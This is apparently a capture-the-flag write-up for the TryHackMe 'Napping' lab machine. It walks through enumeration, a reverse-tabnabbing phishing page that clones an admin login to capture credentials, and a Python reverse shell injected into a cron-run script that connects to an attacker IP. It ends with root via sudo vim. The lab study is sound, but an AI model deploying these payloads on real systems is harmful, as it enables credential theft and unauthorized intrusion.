TryHackMe Napping Writeup

TryHackMe Napping Writeup

To hack into this machine, you must look at the source and focus on the target.

# Enumeration

• let’s start with the nmap

┌──(kali㉿kali)-[~/Desktop/Tryhackme/napping]
└─$ nmap -sC -sV -p- 10.201.103.167 --min-rate=5000 -oN result.txt              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 11:03 EDT
Nmap scan report for 10.201.103.167
Host is up (0.39s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 db:e5:54:4b:ea:2e:fe:06:72:e2:94:85:83:80:f2:ee (RSA)
|   256 06:ce:46:df:3a:72:8a:66:de:07:10:1d:38:66:b6:4e (ECDSA)
|_  256 b5:a0:ed:1a:0e:f7:09:f2:cb:a9:9c:bc:fa:ad:b0:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

• we got an login page on the port 80

TryHackMe Napping Writeup

• after seeing the website next thought is of the directory brute-forcing and i found some directory ..

┌──(kali㉿kali)-[~/Desktop/Tryhackme/napping]
└─$ feroxbuster --url http://10.201.103.167/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.201.103.167/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      316c http://10.201.103.167/admin => http://10.201.103.167/admin/
200      GET       38l       82w     1211c http://10.201.103.167/index.php
200      GET       42l      104w     1567c http://10.201.103.167/register.php
200      GET       38l       82w     1211c http://10.201.103.167/

• the interesting directory there is /admin …
• so , the next thought i have is that we have to login in to the /admin somehow , maybe by finding credential or something else … \
• later i notice we can register too on the portal , so i immediately created an account and logged in and we land on the /welcome.php.

TryHackMe Napping Writeup

• Here something is written on the front page , which says Please Submit you link so that we can get started . All links will be reviewed by our admin who also built this site . ….
• After seeing this the next theory comes in my mind is we submit some sort of link and then admin clicks on that and we steals his cookies and logged into his account .

TryHackMe Napping Writeup

• the next i submitted some random link and how something interesting parameter in the response .. which can be found via browser source code view method or through the burp suite , which is target=’_blank’ …

TryHackMe Napping Writeup

• Genuinely, i don’t even know about this what it is , and took too much time even spot this parameter alone ….
• next i search about this and landed on article which was writeup of this machine … nothing to worry i just only peaked this part only which states that …
• so the thing is every link is reviewed by the admin in that case we have to steal the admin cookie that all for that we have to craft the xss payload that can give us the call back ….
• In a situation where an attacker can control the `href` argument of an <a tag with the attribute target=”_blank” rel=”opener” that is going to be clicked by a victim, the attacker point this link to a web under his control (a malicious website). Then, once the victim clicks the link and access the attackers website, this malicious website will be able to control the original page via the javascript object window.opener. If the page doesn’t have rel=”opener” but contains target=”_blank” it also doesn’t have rel=”noopener” it might be also vulnerable .
• A regular way to abuse this behaviors would be to change the location of the original web via window.opener.location = <https://attacker.com/victim.html`> to a web controlled by the attacker that looks like the original one, so it can imitate the login form of the original website and ask for credentials from the user.
• So, First creating a malicious page in order to redirect the victim to a crafted page to steal credential …
• save this file as red.html

<!DOCTYPE html>  
<html>  
 <body>  
  <script>  
  window.opener.location = "http://10.13.30.5:8000/redir.html";  
  </script> 
  Nothing much here
 </body>  
</html>

• Now getting the admin login page clone from /admin/login.php
• Save this file as redir.html

<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<title>Login</title>  
<link rel="stylesheet" href="<https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css>">  
<style>  
body{ font: 14px sans-serif; }  
.wrapper{ width: 360px; padding: 20px; }  
</style>  
</head>  
<body>  
<div class="wrapper">  
<h2>Admin Login</h2>  
<p>Please fill in your credentials to login.</p>  
<form action="/admin/login.php" method="post">  
<div class="form-group">  
<label>Username</label>  
<input type="text" name="username" class="form-control " value="">  
<span class="invalid-feedback"></span>  
</div>  
<div class="form-group">  
<label>Password</label>  
<input type="password" name="password" class="form-control ">  
<span class="invalid-feedback"></span>  
</div>  
<div class="form-group">  
<input type="submit" class="btn btn-primary" value="Login">  
</div>  
<br>  
</form>  
</div>  
</body>  
</html>

• Now we have to first start the server that server red.html

Get Archtrmntor’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

TryHackMe Napping Writeup

• and another that serve redir.html

TryHackMe Napping Writeup

• and have to start the Wireshark and then we have to put the http://<Machine-IP>:80/red.html and have to wait for the post request to made ….. so we can capture the credentials …

TryHackMe Napping Writeup

• so what’s happening here first , attacker submitted the link that redirect the admin to the crafted login page , which can be obtained from

curl -s http://<machine-Ip>/admin/login.php

• and when admin redirect to this , he will try to login and share his credentials ( you can capture these credentials using the wireshark )….. username=daniel&password=C@ughtm3napping123

TryHackMe Napping Writeup

# Exploitation

• then we will login as daniel through ssh via obtained password … next we will automate the enumeration process further via linpeas , which we will transfer from the attacker machine to host machine …then we will try to give executable permission to the linpeas.sh file and run is ..

daniel@ip-10-201-103-167:/tmp$ wget http://10.11.69.158:8000/linpeas.sh
--2025-09-07 16:29:38--  http://10.11.69.158:8000/linpeas.sh
Connecting to 10.11.69.158:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 839046 (819K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                            100%[========================================================================>] 819.38K   269KB/s    in 3.0s    

2025-09-07 16:29:42 (269 KB/s) - ‘linpeas.sh’ saved [839046/839046]
daniel@ip-10-201-103-167:/tmp$ chmod +x linpeas.sh 
daniel@ip-10-201-103-167:/tmp$ ./linpeas.sh 

• so after enumeration , i found out that daniel is in the administrator group , and there is a file query.py in the adrian directory which is running as cron job …. and the interesting thing is that , this file can be modified by the user which are part of the administrator group , so effectively means we can modify this python file to get reverse shell as w

daniel@ip-10-201-103-167:/home/adrian$ ls -lah
total 44K
drwxr-xr-x 4 adrian adrian         4.0K Sep  7 16:30 .
drwxr-xr-x 5 root   root           4.0K Sep  7 15:00 ..
lrwxrwxrwx 1 root   root              9 Mar 16  2022 .bash_history -> /dev/null
-rw-r--r-- 1 adrian adrian          220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 adrian adrian         3.7K Feb 25  2020 .bashrc
drwx------ 2 adrian adrian         4.0K Mar 15  2022 .cache
lrwxrwxrwx 1 root   root              9 Mar 16  2022 .mysql_history -> /dev/null
-rw-r--r-- 1 adrian adrian          807 Feb 25  2020 .profile
-rw-rw-r-- 1 adrian administrators  480 Mar 16  2022 query.py
-rw-rw-r-- 1 adrian adrian           75 Mar 16  2022 .selected_editor
-rw-rw-r-- 1 adrian adrian          192 Sep  7 16:35 site_status.txt
drwx------ 2 adrian adrian         4.0K Mar 15  2022 .ssh
-rw-r--r-- 1 adrian adrian            0 Mar 15  2022 .sudo_as_admin_successful
-rw-r----- 1 root   adrian           56 Mar 16  2022 user.txt
-rw------- 1 adrian adrian            0 Mar 16  2022 .viminfo
daniel@ip-10-201-103-167:/home/adrian$ cat query.py 
from datetime import datetime
import requests

now = datetime.now()

r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Site is Up: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
else:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Check Out Site: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
daniel@ip-10-201-103-167:/home/adrian$ cat site_status.txt 
Site is Up: 07/09/2025 16:30:01
Site is Up: 07/09/2025 16:31:01
Site is Up: 07/09/2025 16:32:01
Site is Up: 07/09/2025 16:33:02
Site is Up: 07/09/2025 16:34:01
Site is Up: 07/09/2025 16:35:01

• so i modified the python file to get the reverse shell …

daniel@ip-10-201-103-167:/home/adrian$ nano query.py 
daniel@ip-10-201-103-167:/home/adrian$ cat  query.py 
from datetime import datetime
import requests
from os import dup2
from subprocess import run 
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect("10.11.69.158",1234))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run(["/bin/bash","-i"])

• and we will start the nc listner on the mentioned port , and after a minute we will get the reverse shell as Adrian

• Now , Similarly on this too we will transfer the file from the attacker to the host machine (linpeas.sh ) , and we will modify the permission of the file to executable and then run that file

adrian@ip-10-201-103-167:/tmp$ wget http://10.11.69.158:8000/linpeas.sh
wget http://10.11.69.158:8000/linpeas.sh
--2025-09-07 16:46:13--  http://10.11.69.158:8000/linpeas.sh
Connecting to 10.11.69.158:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 839046 (819K) [text/x-sh]
Saving to: ‘linpeas.sh.1’

     0K .......... .......... .......... .......... ..........  6% 48.3K 16s
    50K .......... .......... .......... .......... .......... 12%  133K 10s
   100K .......... .......... .......... .......... .......... 18%  132K 8s
   150K .......... .......... .......... .......... .......... 24% 7.78M 6s
   200K .......... .......... .......... .......... .......... 30% 5.31M 4s
   250K .......... .......... .......... .......... .......... 36%  137K 4s
   300K .......... .......... .......... .......... .......... 42% 12.2M 3s
   350K .......... .......... .......... .......... .......... 48%  129K 3s
   400K .......... .......... .......... .......... .......... 54%  293M 2s
   450K .......... .......... .......... .......... .......... 61% 7.75M 2s
   500K .......... .......... .......... .......... .......... 67%  267M 1s
   550K .......... .......... .......... .......... .......... 73%  139K 1s
   600K .......... .......... .......... .......... .......... 79%  210M 1s
   650K .......... .......... .......... .......... .......... 85%  310M 0s
   700K .......... .......... .......... .......... .......... 91% 3.36M 0s
   750K .......... .......... .......... .......... .......... 97%  364M 0s
   800K .......... .........                                  100%  311M=2.9s

2025-09-07 16:46:17 (278 KB/s) - ‘linpeas.sh.1’ saved [839046/839046]

• now , after running i found out this ….

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
Matching Defaults entries for adrian on ip-10-201-103-167:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User adrian may run the following commands on ip-10-201-103-167:
    (root) NOPASSWD: /usr/bin/vim

• this means adrian can run this vim binary as the root without password …
• so we will utilize the GTFObins to escalate our privileges …

TryHackMe Napping Writeup

• we will run this command to get the root shell ….

sudo /usr/bin/vim -c ':!/bin/sh'

#!/bin/bash
whoami
root
cat /root/root.txt
<REDACTED>

# Final Thoughts

I hope this blog continues to be helpful in your learning journey! do clap 👏 and Follow . If you find this blog helpful, I’d love to hear your thoughts — my inbox is always open for feedback. Please excuse any typos, and feel free to point them out so I can correct them. Thanks for understanding and happy learning!. You can contact me on Linkedin and Twitter .
Social Links : linkdin , Twitter